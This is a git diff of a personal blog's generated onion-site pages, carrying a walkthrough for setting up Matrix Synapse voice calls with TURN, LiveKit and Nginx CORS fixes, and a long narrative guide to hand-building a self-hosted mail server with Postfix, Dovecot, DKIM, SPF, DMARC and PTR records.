    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/debugging/page/1/index.html b/public-onion/tags/debugging/page/1/index.html new file mode 100644 index 0000000..5688877 --- /dev/null +++ b/public-onion/tags/debugging/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/debugging/ + + + + + + diff --git a/public-onion/tags/dkim/index.html b/public-onion/tags/dkim/index.html new file mode 100644 index 0000000..30021d3 --- /dev/null +++ b/public-onion/tags/dkim/index.html @@ -0,0 +1,354 @@ + + + + + + + +Dkim | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/dkim/index.xml b/public-onion/tags/dkim/index.xml new file mode 100644 index 0000000..1f84f28 --- /dev/null +++ b/public-onion/tags/dkim/index.xml @@ -0,0 +1,154 @@ + + + + Dkim on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dkim/ + Recent content in Dkim on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

